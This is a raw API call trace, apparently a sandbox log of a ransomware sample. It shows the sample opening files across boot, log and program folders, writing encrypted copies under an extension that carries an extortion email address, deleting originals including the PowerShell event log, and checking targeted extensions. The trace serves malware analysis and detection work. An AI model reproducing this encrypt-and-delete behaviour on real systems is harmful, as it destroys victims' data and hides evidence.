[0242.920] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20 [0242.920] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0242.920] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0242.920] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1100 [0242.920] GetFileSizeEx (in: hFile=0x1100, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=45984) returned 1 [0242.920] CloseHandle (hObject=0x1100) returned 1 [0242.920] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui")) returned 0x20 [0242.921] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\memtest.exe.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0242.921] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.921] CreateFileW (lpFileName="C:\\Boot\\hr-HR\\bootmgr.exe.mui" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1100 [0242.921] GetFileSizeEx (in: hFile=0x1100, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=76640) returned 1 [0242.921] CloseHandle (hObject=0x1100) returned 1 [0242.921] GetFileAttributesW (lpFileName="C:\\Boot\\hr-HR\\bootmgr.exe.mui" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui")) returned 0x20 [0242.921] GetFileAttributesW (lpFileName="C:\\Boot\\hr-HR\\bootmgr.exe.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0242.921] CreateFileW (lpFileName="C:\\Boot\\hr-HR\\bootmgr.exe.mui" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.922] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1100 [0242.922] GetFileSizeEx (in: hFile=0x1100, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=78688) returned 1 [0242.922] CloseHandle (hObject=0x1100) returned 1 [0242.922] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20 [0242.922] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0242.922] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.922] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\memtest.exe.mui" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1100 [0242.922] GetFileSizeEx (in: hFile=0x1100, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=45976) returned 1 [0242.922] CloseHandle (hObject=0x1100) returned 1 [0242.923] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\memtest.exe.mui" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui")) returned 0x20 [0242.923] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\memtest.exe.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0242.923] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\memtest.exe.mui" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.923] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1100 [0242.923] GetFileSizeEx (in: hFile=0x1100, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=77144) returned 1 [0242.923] CloseHandle (hObject=0x1100) returned 1 [0242.923] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20 [0242.923] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0242.923] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.924] CreateFileW (lpFileName="C:\\Boot\\it-IT\\memtest.exe.mui" (normalized: "c:\\boot\\it-it\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1100 [0242.924] GetFileSizeEx (in: hFile=0x1100, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=45472) returned 1 [0242.924] CloseHandle (hObject=0x1100) returned 1 [0242.924] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\memtest.exe.mui" (normalized: "c:\\boot\\it-it\\memtest.exe.mui")) returned 0x20 [0242.924] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\memtest.exe.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\it-it\\memtest.exe.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0242.924] CreateFileW (lpFileName="C:\\Boot\\it-IT\\memtest.exe.mui" (normalized: "c:\\boot\\it-it\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.218] SetFilePointerEx (in: hFile=0x1130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.218] SetFilePointerEx (in: hFile=0x1130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.218] CreateFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\logs\\windows powershell.evtx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1134 [0243.220] GetLastError () returned 0x0 [0243.221] ReadFile (in: hFile=0x1130, lpBuffer=0x3c7a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c7a020*, lpNumberOfBytesRead=0x362fecc*=0x11000, lpOverlapped=0x0) returned 1 [0243.233] WriteFile (in: hFile=0x1134, lpBuffer=0x3c7a020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c7a020*, lpNumberOfBytesWritten=0x362fc94*=0x11010, lpOverlapped=0x0) returned 1 [0243.235] ReadFile (in: hFile=0x1130, lpBuffer=0x3c7a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c7a020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0243.235] WriteFile (in: hFile=0x1134, lpBuffer=0x3c7a020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c7a020*, lpNumberOfBytesWritten=0x362fc94*=0x102, lpOverlapped=0x0) returned 1 [0243.235] SetEndOfFile (hFile=0x1134) returned 1 [0243.235] CloseHandle (hObject=0x1134) returned 1 [0243.239] SetFilePointerEx (in: hFile=0x1130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.239] SetEndOfFile (hFile=0x1130) returned 1 [0243.240] CloseHandle (hObject=0x1130) returned 1 [0243.240] SetFileAttributesW (lpFileName="C:\\Logs\\Windows PowerShell.evtx.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0243.241] DeleteFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx")) returned 1 [0243.241] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0243.241] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0243.241] lstrlenW (lpString=".doc") returned 4 [0243.241] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0243.241] lstrlenW (lpString=".docx") returned 5 [0243.241] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0243.241] lstrlenW (lpString=".pdf") returned 4 [0243.241] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0243.241] lstrlenW (lpString=".xls") returned 4 [0243.241] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0243.241] lstrlenW (lpString=".xlsx") returned 5 [0243.241] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0243.241] lstrlenW (lpString=".ppt") returned 4 [0243.241] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0243.242] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0243.242] lstrlenW (lpString=".zip") returned 4 [0243.242] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0243.242] lstrlenW (lpString=".rar") returned 4 [0243.242] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0243.242] lstrlenW (lpString=".bz2") returned 4 [0243.242] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0243.242] lstrlenW (lpString=".7z") returned 3 [0243.242] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0243.242] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0243.242] lstrlenW (lpString=".dbf") returned 4 [0243.242] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0243.242] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0243.242] lstrlenW (lpString=".1cd") returned 4 [0243.242] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0243.242] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0243.242] lstrlenW (lpString=".jpg") returned 4 [0243.242] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0243.242] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0243.242] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0243.242] lstrlenW (lpString=".doc") returned 4 [0243.242] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0243.242] lstrlenW (lpString=".docx") returned 5 [0243.242] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0243.242] lstrlenW (lpString=".pdf") returned 4 [0243.242] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0243.242] lstrlenW (lpString=".xls") returned 4 [0243.243] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0243.243] lstrlenW (lpString=".xlsx") returned 5 [0243.243] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0243.243] lstrlenW (lpString=".ppt") returned 4 [0243.243] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0243.243] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0243.243] lstrlenW (lpString=".zip") returned 4 [0243.243] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0243.243] lstrlenW (lpString=".rar") returned 4 [0243.243] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0243.243] lstrlenW (lpString=".bz2") returned 4 [0243.243] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0243.243] lstrlenW (lpString=".7z") returned 3 [0243.243] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0243.243] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0243.243] lstrlenW (lpString=".dbf") returned 4 [0243.243] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0243.243] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0243.243] lstrlenW (lpString=".1cd") returned 4 [0243.243] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0243.243] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0243.243] lstrlenW (lpString=".jpg") returned 4 [0243.243] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0243.243] lstrcmpiW (lpString1=".sys", lpString2=".com") returned 1 [0243.244] lstrlenW (lpString="pagefile.sys") returned 12 [0243.244] CreateFileW (lpFileName="C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.244] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0243.244] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0243.244] lstrlenW (lpString=".doc") returned 4 [0243.244] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0243.244] lstrlenW (lpString=".docx") returned 5 [0243.244] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1 [0243.244] lstrlenW (lpString=".pdf") returned 4 [0243.244] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0243.244] lstrlenW (lpString=".xls") returned 4 [0243.244] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0243.244] lstrlenW (lpString=".xlsx") returned 5 [0243.244] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1 [0243.244] lstrlenW (lpString=".ppt") returned 4 [0243.244] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0243.244] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0243.244] lstrlenW (lpString=".zip") returned 4 [0243.244] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0243.245] lstrlenW (lpString=".rar") returned 4 [0243.245] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0243.245] lstrlenW (lpString=".bz2") returned 4 [0243.245] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0243.245] lstrlenW (lpString=".7z") returned 3 [0243.245] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0243.245] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0243.245] lstrlenW (lpString=".dbf") returned 4 [0243.245] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0243.245] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0243.245] lstrlenW (lpString=".1cd") returned 4 [0243.245] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0243.245] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0243.245] lstrlenW (lpString=".jpg") returned 4 [0243.245] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0243.245] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0243.245] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0243.245] lstrlenW (lpString=".doc") returned 4 [0243.245] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0243.245] lstrlenW (lpString=".docx") returned 5 [0243.245] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1 [0243.245] lstrlenW (lpString=".pdf") returned 4 [0243.245] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0243.245] lstrlenW (lpString=".xls") returned 4 [0243.245] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0243.245] lstrlenW (lpString=".xlsx") returned 5 [0243.246] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1 [0243.246] lstrlenW (lpString=".ppt") returned 4 [0243.246] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0243.246] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0243.246] lstrlenW (lpString=".zip") returned 4 [0243.246] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0243.246] lstrlenW (lpString=".rar") returned 4 [0243.246] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0243.246] lstrlenW (lpString=".bz2") returned 4 [0243.246] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0243.246] lstrlenW (lpString=".7z") returned 3 [0243.246] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0243.246] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0243.246] lstrlenW (lpString=".dbf") returned 4 [0243.246] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0243.246] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0243.246] lstrlenW (lpString=".1cd") returned 4 [0243.246] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0243.246] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0243.246] lstrlenW (lpString=".jpg") returned 4 [0243.246] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0243.247] lstrcmpiW (lpString1=".OLB", lpString2=".com") returned 1 [0243.247] lstrlenW (lpString="MSADDNDR.OLB") returned 12 [0243.247] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1130 [0243.248] GetFileSizeEx (in: hFile=0x1130, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=15984) returned 1 [0243.248] CloseHandle (hObject=0x1130) returned 1 [0243.248] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb")) returned 0x20 [0243.248] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0243.248] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1130 [0243.249] SetFilePointerEx (in: hFile=0x1130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.249] SetFilePointerEx (in: hFile=0x1130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.249] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.494] CloseHandle (hObject=0x1130) returned 1 [0243.494] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0243.494] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0243.494] lstrlenW (lpString=".doc") returned 4 [0243.494] lstrcmpiW (lpString1=".doc", lpString2=".OLB") returned -1 [0243.494] lstrlenW (lpString=".docx") returned 5 [0243.494] lstrcmpiW (lpString1=".docx", lpString2="R.OLB") returned -1 [0243.494] lstrlenW (lpString=".pdf") returned 4 [0243.494] lstrcmpiW (lpString1=".pdf", lpString2=".OLB") returned 1 [0243.494] lstrlenW (lpString=".xls") returned 4 [0243.494] lstrcmpiW (lpString1=".xls", lpString2=".OLB") returned 1 [0243.494] lstrlenW (lpString=".xlsx") returned 5 [0243.494] lstrcmpiW (lpString1=".xlsx", lpString2="R.OLB") returned -1 [0243.495] lstrlenW (lpString=".ppt") returned 4 [0243.495] lstrcmpiW (lpString1=".ppt", lpString2=".OLB") returned 1 [0243.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0243.495] lstrlenW (lpString=".zip") returned 4 [0243.495] lstrcmpiW (lpString1=".zip", lpString2=".OLB") returned 1 [0243.495] lstrlenW (lpString=".rar") returned 4 [0243.495] lstrcmpiW (lpString1=".rar", lpString2=".OLB") returned 1 [0243.495] lstrlenW (lpString=".bz2") returned 4 [0243.495] lstrcmpiW (lpString1=".bz2", lpString2=".OLB") returned -1 [0243.495] lstrlenW (lpString=".7z") returned 3 [0243.495] lstrcmpiW (lpString1=".7z", lpString2="OLB") returned -1 [0243.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0243.495] lstrlenW (lpString=".dbf") returned 4 [0243.495] lstrcmpiW (lpString1=".dbf", lpString2=".OLB") returned -1 [0243.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0243.495] lstrlenW (lpString=".1cd") returned 4 [0243.495] lstrcmpiW (lpString1=".1cd", lpString2=".OLB") returned -1 [0243.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0243.495] lstrlenW (lpString=".jpg") returned 4 [0243.495] lstrcmpiW (lpString1=".jpg", lpString2=".OLB") returned -1 [0243.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0243.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0243.495] lstrlenW (lpString=".doc") returned 4 [0243.495] lstrcmpiW (lpString1=".doc", lpString2=".OLB") returned -1 [0243.495] lstrlenW (lpString=".docx") returned 5 [0243.495] lstrcmpiW (lpString1=".docx", lpString2="R.OLB") returned -1 [0243.495] lstrlenW (lpString=".pdf") returned 4 [0243.495] lstrcmpiW (lpString1=".pdf", lpString2=".OLB") returned 1 [0243.496] lstrlenW (lpString=".xls") returned 4 [0243.496] lstrcmpiW (lpString1=".xls", lpString2=".OLB") returned 1 [0243.496] lstrlenW (lpString=".xlsx") returned 5 [0243.496] lstrcmpiW (lpString1=".xlsx", lpString2="R.OLB") returned -1 [0243.496] lstrlenW (lpString=".ppt") returned 4 [0243.496] lstrcmpiW (lpString1=".ppt", lpString2=".OLB") returned 1 [0243.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0243.496] lstrlenW (lpString=".zip") returned 4 [0243.496] lstrcmpiW (lpString1=".zip", lpString2=".OLB") returned 1 [0243.496] lstrlenW (lpString=".rar") returned 4 [0243.496] lstrcmpiW (lpString1=".rar", lpString2=".OLB") returned 1 [0243.496] lstrlenW (lpString=".bz2") returned 4 [0243.496] lstrcmpiW (lpString1=".bz2", lpString2=".OLB") returned -1 [0243.496] lstrlenW (lpString=".7z") returned 3 [0243.496] lstrcmpiW (lpString1=".7z", lpString2="OLB") returned -1 [0243.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0243.496] lstrlenW (lpString=".dbf") returned 4 [0243.496] lstrcmpiW (lpString1=".dbf", lpString2=".OLB") returned -1 [0243.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0243.496] lstrlenW (lpString=".1cd") returned 4 [0243.496] lstrcmpiW (lpString1=".1cd", lpString2=".OLB") returned -1 [0243.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0243.496] lstrlenW (lpString=".jpg") returned 4 [0243.496] lstrcmpiW (lpString1=".jpg", lpString2=".OLB") returned -1 [0243.497] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0243.497] lstrlenW (lpString="StreamServer.dll") returned 16 [0243.497] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1130 [0243.497] GetFileSizeEx (in: hFile=0x1130, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=1053784) returned 1 [0243.497] CloseHandle (hObject=0x1130) returned 1 [0243.497] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll")) returned 0x20 [0243.497] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0243.800] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0243.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0243.800] lstrlenW (lpString=".doc") returned 4 [0243.801] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0243.801] lstrlenW (lpString=".docx") returned 5 [0243.801] lstrcmpiW (lpString1=".docx", 